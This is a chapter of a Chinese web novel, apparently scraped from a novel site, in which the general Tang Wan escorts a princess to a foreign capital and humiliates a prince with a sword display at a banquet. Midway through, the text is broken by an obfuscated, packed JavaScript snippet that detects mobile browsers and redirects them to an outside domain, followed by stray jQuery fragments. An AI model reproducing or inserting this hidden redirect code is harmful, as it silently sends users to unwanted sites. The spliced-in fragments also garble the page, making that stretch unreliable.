111. 大殿下想给我做小?

作品:《禁止对龙傲天娘子撒娇

    也就是这次让他第一次近距离地见到国师,听了他们的计划和想法其实凌云木一开始是非常震惊且不赞同的,但是一路走来,他的想法却在逐渐改变。


    世人只知头顶的皇权更迭但是却看不到的是背后不动如山的世家。


    凌家就是那不动如山的世家之一,这也是为何国师会与凌家如此亲密的原因。


    如果……或许……


    凌云木烦恼地抱住头,因为他突然发现其实他的想法并不重要。凌家把他叫过去谈话的目的就是通知,而非商量。


    他过不去的就是自己这一关,自小接受忠君思想长大的他根本没有做好准备接受一个女人做皇帝。


    他这人是个老封建,虽然知道唐婉是个经历过沙场洗礼的将军虎女,但是却仍然觉得女人还是被人保护更好。


    若是唐婉知道凌云木的想法肯定要嗤之以鼻,这个时代大部分人的想法应该都和他的想法一样,这样更突显出了魏竹君的珍贵。


    “朝中一切事宜无需婉儿担心,我自会为你辅好前进的路……”


    信中都是些日常的闲聊以及他的思念之情,三张纸满满当当的,但是里面却夹杂着这一句。


    不知道是不是唐婉的错觉,魏竹君好像一门心思想要她做皇帝,并且现在就已经在做准备了。


    到底是什么让一个封建的古代人这么快就接受了自己要造反的事?


    不知道如果失败了九族都要遭殃的吗?


    不过一想到魏竹君家的情况,也能理解他的不在意吧?


    除了魏竹君的娘亲,他估计也就嫌魏家的那些人死得不够快吧?


    唐婉只觉得头痛,怎么才能告诉魏竹君她是真的不想当皇帝?


    但是细想一下,不止是魏竹君这样,百花公主似乎也和他有同样的想法,再加上一个从小就盼着她造反的国师。


    将信收好,长叹一声。


    唐婉惆怅地发现最保守、忠君的竟然是她这个现代人。


    不管怎么样,送亲队伍终于还是来到了相印城。


    这里就是外蛮的都城,他们到了这趟行程的目的地了。


    外蛮王派了他们的左贤王亲自迎接的。


    外蛮王权最高位是外蛮王,其次就是左贤王和右贤王,相当于丞相但是还掌握了兵权,是相当位高权重的人物,


    唐婉骑着马跟着队伍一起进城的时候一直在观察城中的百姓。


    说实话,相印城的建设比她想像中的要好很多,就是布局有些凌乱,城里不仅有一般的土建房屋还和大量的毛毡房,一看就知道没什么规划,随意地建设。


    唐婉一行人被引到了驿站。


    那左贤王笑眯眯地对着大家说:“诸位请看,这是我们王专门为公主修建的驿馆,希望各位和公主能够有宾至如归的感觉。”


    那左贤王一边说一边扫视了一圈众人,把目光落在唐婉身上许久才移开。


    “蛮王有心了。”江灵上前行了个礼,一边说着客套的话一边挡住了这审视的目光。


    唐婉笑眯眯地跟在后头回礼,她才不在意这手下败将的目光。放眼周边与大容发生过战争的国家,有几个有军功的人没被她打过?


    所以看就看呗,只要记住现下她是来和亲的使臣,不是那个在战场上狂砍人头的猛人就行。


    趁着前头在客套,唐婉转头打量着这驿馆,确实还建得挺不错的,也看得出来设计者有很努力地想表现出大容建筑的风格,但是大容那个金碧辉煌的调调也就只有大气的建筑能够表现出恢弘的气势,加在外蛮的建筑上终究还是有些怪里怪气,不和谐。


    一行人进了驿馆,茉莉公主的车驾直接驶到了院落门口,人进了屋子连个面都没有露,让一旁想要一睹公主风采的外蛮人直接希望落空。


    但是越发神秘,他们对公主的兴趣就越浓厚。


    看院子外一个个脖子伸长的外蛮人,唐婉毫不客气地让人把晚宴的菜品直接送到公主的房间。


    新嫁娘在行前礼不得见外人。


    唐婉笑眯眯地解释,这是大容的习俗。


    大容果然规矩大,外蛮人除了面面相觑后也无可奈何。


    这时候就该江灵上场了。


    外蛮的婚礼流程与大容截然不同,很多习俗实在没有办法让人苟同,于是双方就开始对着婚礼流程各种扯皮。


    一场晚宴也成了谈判桌,只唐婉在一旁大吃大喝,在江灵需要的时候把佩剑拿到桌上来暗示一下。


    其实这把剑也不是唐婉的武器,是江灵在知道那位左贤王曾经在唐婉手下吃过败仗后临时找来的道具。


    说来也好笑,明明曾经在两军对质的时候单挑过,但这位左贤王却浑然忘了唐婉的武器是一柄长枪,根本不是什么佩剑。


    其实外蛮这边的那些规矩在唐婉看来也就那么回事,之所以这么坚持大概是因为觉得大容已经把公主送到了他们的主场就应该听由他们的摆布。


    这些外蛮人明明是去求联盟,这会儿却莫名生出了些优越感。


    所以使团这会儿维护的并不仅仅是茉莉公主的婚姻更是大容的脸面。


    眼看着左贤王与江灵“聊”得越来越激烈,在一旁一直在饮酒的日光靡突然开口了:“大容这边派一个女人来送亲,可是要陪嫁的意思?”


    刚刚还人声鼎沸的场面突然间就如冰冻一般凝结了。


    所有的人目光都看向唐婉,她正举着杯子饮酒。


    这外蛮的牛羊肉配烈酒非常合她的口味。


    听了这话唐婉倒也不气,只慢悠悠地放下酒杯,木质的杯子放到桌面上发出咚的一声轻响。


    “我竟不知道大殿下想给我做小?”唐染笑眯眯地抬头看向日光靡。


    漫不经心的语气让日光靡瞬间醒了酒。


    是这一路的友好相处让他忘记眼前这女人可不是一般人,心下知道自己有些得意忘形了。


    他干笑两声,举起杯子:“是我莽撞了,开个玩笑,开个玩笑,还希望女将别介意。”


    女将是外蛮对唐婉的称呼,意思是女将军。


    坐在一旁的凌云木有些气愤,他刚想开口就被上位的江灵一个眼神制止了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980485|163591||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    不是江灵想要当软包子,而是他觉得与其让这个莽夫开口不如交给唐婉自己处理。


    他相信唐婉完全可以处理。


    唐婉才不在意这些人对自己的称呼,在这样的场合冒犯她可不仅是不礼貌,她可以不计较但是大容的国威可不容冒犯。


    “今日喝酒喝得开心,我想为大家表演个节目!”


    唐婉站起身,笑容满面的看向左贤王,但是她看过去的时候就已经拎着剑起身了。


    这是通知,并不是请求。


    踏着酒案,唐婉飞身落在大厅中央。


    外蛮的酒太烈了,唐婉感觉到自己呼出的鼻息都带着酒气。


    不过她眼底却一片清明,如寒潭深水。


    这样的目光落在日光靡身上,让他不由自主地打了个寒蝉。


    左贤王有些不悦地瞪了一眼日光靡,真是一个成事不足败事有余的蠢货。


    外蛮人都乐得看大容丢脸,所以刚刚大殿下找唐婉麻烦的时候没有人出声制止,但是现在大容的脸没丢成,外蛮被动了就让他心生不悦。


    “那个……”左贤王刚开口想要说点什么,虽然不知道为什么唐婉突然要表演什么节目,但是基于在战场上唐婉睚眦必报的性子,这表演只怕另有目的。


    但是唐婉并不理会他,借力腾空,剑鞘嗡鸣,清越龙吟压过人声。


    三尺青锋寒光暴涨,破开暖腻的空气,唐婉的衣摆猎猎作响。


    专程为了晚宴换上的华服让她这会儿看上去好似一只捕猎的夜鹰,持剑的唐婉稳稳落在大厅中央那片被烛光镀亮的空旷处。


    只见她手腕轻轻一抖,剑尖挽起一朵寒芒。


    看到对面日光靡有些畏惧的表情,唐婉手中的剑花如流星迸溅四射。


    大堂里的烛火被唐婉凌厉剑气里激得猛烈摇曳,映在墙壁上,尽是她如鬼魅般狂舞的乱影。


    剑风裹挟着唐婉身上清冽的酒意与冷香,如无形之手,粗暴地掀起一边外蛮人的酒案,酒案上的杯盏被甩下,泼了他们一身。


    但是这些酒案翻了一圈,又稳稳地落在原处。


    只有被酒水染透了衣服和掉落的杯盏让人恍惚刚刚发生了什么。


    左贤王的脸色很难看,但是还是强撑着笑对江灵说:“女将既然醉了就歇着吧,不必再劳累了。”


    江灵笑眯眯地摸了摸胡子只举起杯子和左贤王说道:“来来来,喝酒喝酒!”


    而堂下,唐婉的剑势愈急,愈狂。


    凌云木看着她,觉得或许她是真的喝醉了,因为这会儿的唐婉看起来像是要挣脱了形体的束缚,化入她银白色的剑雨中。


    每一次旋身,衣袂都如金色的莲花怒放;每一次凌厉的劈刺,大家都能清楚地听到空气中发出撕裂的声音。


    等剑光消失后,凌云木没忍住“噗嗤”笑出声来。


    原来不是空气的撕裂声,而是日光靡衣服的撕裂声。


    这位外蛮的大殿下这会儿就跟个被剥了皮的橘子一样,光不溜秋地坐在那里,原本的衣物碎成一片片落在他周边。